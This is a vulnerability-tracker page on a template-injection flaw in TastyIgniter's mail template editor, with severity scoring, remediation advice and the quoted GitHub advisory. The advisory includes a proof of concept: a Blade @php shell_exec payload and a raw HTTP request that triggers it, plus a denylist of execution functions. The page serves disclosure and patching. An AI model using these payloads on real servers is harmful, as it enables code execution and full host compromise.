Skip to main content

TastyIgniter CVE-2026-69178

CRITICAL
Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336)
2026-11-25 https://github.com/tastyigniter/TastyIgniter GHSA-743w-g9pf-8p94
9.1
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as admin with Admin.MailTemplates permission
  2. Delivery
    Inject Blade @php directive into mail template body
  3. Exploit
    Save template via POST /admin/mail_templates/edit/{id}
  4. Execution
    Trigger render with onTestTemplate handler
  5. Impact
    Execute arbitrary PHP/shell as web server, full server compromise

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V1 - Encoding and Sanitization Template injection prevention
Exploitation Conditions

Requires an authenticated admin account holding the Admin.MailTemplates permission (PR:H); anonymous or low-privileged users cannot reach the vector. The attacker edits a mail template's markup/body field with a Blade @php directive and triggers server-side evaluation by sending POST /admin/mail_templates/edit/{id} with the header X-IGNITER-REQUEST-HANDLER: onTestTemplate. The flaw exists because, before version 4.3.1, mail template content received no validation or sandboxing. Primary limiting factor: the need for high-privilege admin access with a specific permission - making this a post-authentication / compromised-or-malicious-admin issue rather than remotely exploitable against default anonymous access. Only installations running TastyIgniter < 4.3.1 are affected.

Impact

Signals are consistent and point to a genuine, high-severity but privilege-gated issue rather than a remotely wormable one. The CVSS 3.1 vector (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H = 9.1) shows network reachability and low complexity but requires PR:H - a high-privilege admin account holding the Admin.MailTemplates permission - so this is authenticated post-compromise code execution, not unauthenticated RCE. The vuln.today Decision label is act_now and a vendor patch (v4.3.1) is available, which supports prompt remediation. No CISA KEV listing is present in the input and no EPSS score was provided, so there is no evidence of active in-the-wild exploitation; the elevated priority rests on the full-RCE impact plus a published, detailed PoC in the GitHub Security Advisory (GHSA-743w-g9pf-8p94) rather than on mass exploitation probability. The main caveat: because exploitation presupposes an attacker who already holds a trusted admin role, real-world risk is dominated by insider/compromised-admin and privilege-escalation chains, not opportunistic internet scanning. The scope-changed (S:C) rating is a defensible judgement call - it reflects the template engine breaking out to OS-level command execution - but is not independently stated by the input beyond the vendor score.

Exploit ScenarioDerived

An attacker who already holds (or has compromised) an admin account with the Admin.MailTemplates permission edits a mail template, injecting a Blade directive such as @php echo shell_exec('id'); @endphp into the markup/body, then triggers evaluation by sending POST /admin/mail_templates/edit/{id} with the X-IGNITER-REQUEST-HANDLER: onTestTemplate header, causing arbitrary PHP/OS commands to run as the web server user. A complete step-by-step PoC with a raw HTTP request is published in the GitHub Security Advisory. CVSS AC:L and UI:N mean that once the admin session exists, exploitation is reliable and needs no victim interaction.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Nov 25, 2026

Server-side template injection in the TastyIgniter mail template editor allows an authenticated administrator holding the Admin.MailTemplates permission to achieve arbitrary PHP execution by saving a Blade @php block into a template body and then triggering evaluation via a POST to /admin/mail_templates/edit/{id} carrying the header X-IGNITER-REQUEST-HANDLER: onTestTemplate. The prerequisite is significant - a high-privilege admin account (CVSS PR:H, Scope:Changed) - so the practical exposure is post-authentication abuse by a compromised or malicious administrator rather than anonymous remote compromise, though the resulting confidentiality, integrity and availability impact on the host is total. All installations below version 4.3.1 are affected; the vendor has released 4.3.1 with template sandboxing and content validation, the advisory contains public reproduction steps (a PoC reference, not verified as working exploit code), and active exploitation is not confirmed (no KEV entry). The vulnerability is tracked with a priority judgement of act_now and an assessed CVSS base of 9.1.

RemediationAI

Vendor-released patch: upgrade TastyIgniter to 4.3.1 or later - the release at https://github.com/tastyigniter/core/releases/tag/v4.3.1 contains commit 785aa660f77fee9a221857b8b1f11b68a35fd257, which adds the SafeMailTemplateContent validation rule to the markup, codeSection and settings fields of mail templates, layouts, pages and partials and extends the Pagic TemplateSandbox with assertSafe()/sanitizeMail() allowlists and a dangerous-function denylist, per advisory GHSA-743w-g9pf-8p94. Because exploitation requires the Admin.MailTemplates permission, the practical compensating control on versions that cannot be upgraded immediately is to restrict that permission to the smallest possible set of trusted administrator accounts and to review stored mail template, layout, page and partial content for @php blocks or other executable directives - noting that before 4.3.1 such content is neither rejected nor sandboxed on save, so manual removal is a clean-up measure and not a substitute for the 4.3.1 sandboxing and validation.

Affected Packages

composer tastyigniter/tastyigniter fix: 4.3.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

TastyIgniter renders theme and mail content through its Pagic templating layer, a Blade-style engine that compiles directives such as @php into PHP before evaluation. CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine) is the root-cause class: before 4.3.1, the markup and codeSection fields of mail templates (and the equivalent fields on layouts, pages and partials) were accepted with only basic type/length validation and no sandbox, so a @php ... @endphp block stored in a template body was compiled and executed whenever that template was rendered - here forced through the onTestTemplate handler. The assessed vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H reflects network reachability of the admin panel, a high-privileged authenticated actor, no user interaction, and scope change because the executed code runs outside the template engine's intended privilege boundary. The upstream fix (commit 785aa660, released as v4.3.1) introduces a SafeMailTemplateContent validation rule applied to markup, codeSection and settings fields across mail template, layout, page and partial models, adds a Pagic SandboxProfile enum distinguishing Theme from Mail rendering, and extends TemplateSandbox with assertSafe()/sanitizeMail() enforcing allowlists of directives (if, foreach, partial, lang, etc.) and functions (setting, lang, media_thumb, date, count, trim, etc.) plus a denylist of execution, filesystem, encoding and callback functions (eval, system, exec, shell_exec, file_get_contents, base64_decode, call_user_func, unserialize, include, etc.).

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 9.1 CRITICAL

Admin-only mail-template editor forces PR:H; exploitation is reliable once authenticated (AC:L, UI:N); template escape to OS command execution justifies S:C with full C/I/A.

3.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionGitHub Advisory

Summary

Where: POST /admin/mail_templates/edit/{id} → body field Who can trigger: Any admin user with Admin.MailTemplates permission Impact: Arbitrary PHP execution on the server - full RCE

Details

The Mail templates is vulnerable to SSTI and did not perform an validation and sanitization.

PoC

  • login as admin
  • create new mail template with following command
@php echo shell_exec('echo "RCE Executed";id'); @endphp
  • save the request
  • execute the request using X-IGNITER-REQUEST-HANDLER: onTestTemplate

Request

http
POST /admin/mail_templates/edit/20 HTTP/1.1
Host: localhost:8888
Content-Length: 47
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-ch-ua-platform: "Linux"
X-CSRF-TOKEN: L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
X-IGNITER-REQUEST-PARTIALS:
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-IGNITER-REQUEST-HANDLER: onTestTemplate
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/admin/mail_templates/edit/20
Accept-Encoding: gzip, deflate, br
Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZt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iJlZmRhNjZmNWU0MmY2MjZjYzJjNjMyY2JlNTMwNmJjZDMxOTU3MzFkOWQ4MDZiOGVkM2I3ZmY4NTAxOTdhYTU5IiwidGFnIjoiIn0%3D; tastyigniter_session=eyJpdiI6IjRVU3c4T2Y2dnVhREtyZkxQZitPUHc9PSIsInZhbHVlIjoiWFFXaDVNbzJISlJZRjdRTVI3L2FNYUNxdklvVHZpb3FwNFA4M2J0aTBqNFI2VU8vL09lYWhlOVd3K1lhdFR5eEJTWUxxLzRHM0Z5KzlaUkhCOTdVMDEzc25PaWNzOE1yWW9PQkZSWHZZUVJGNnRkNGRuWVhvRC82RVl5YTU1ZnciLCJtYWMiOiI0ZjY2ODIxYWU1N2FkYmUxNGM5OWQ4ODU0MDU2YzRhODY1MmFlNmVkOTgwZTIzN2E0YjE0Y2MwMzg3NTc4MTZhIiwidGFnIjoiIn0%3D
Connection: keep-alive

_token=L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY
  • For the response, can check in the log.

<img width="1315" height="516" alt="image" src="https://github.com/user-attachments/assets/2b6a01bf-14d2-4b33-b1d4-d0e284b54107" />

Impact

If attacker have access to admin user, it is possible to abuse this vulnerability to gain access into the system.

Technical POC Analysis

Bug class: CWE-1336, Improper Neutralization of Special Elements Used in a Template Engine (server-side template injection).

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

CVE-2026-69178 is a critical server-side template injection vulnerability in TastyIgniter's mail template editor that allows an authenticated administrator with the Admin.MailTemplates permission to execute arbitrary PHP code on the server. This means a compromised or malicious admin account could lead to full host compromise, affecting the confidentiality, integrity, and availability of the entire TastyIgniter installation and potentially any data or systems it connects to. Leadership should prioritize patching to version 4.3.1 to eliminate this high-impact post-authentication attack vector.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

Prevalence
Low
niche open-source restaurant ordering platform, limited enterprise footprint
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
3 sources
Confidence: Low

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS N/A
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Affected Products (CPE)GitHub Advisory

pkg:composer/tastyigniter_tastyigniter

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy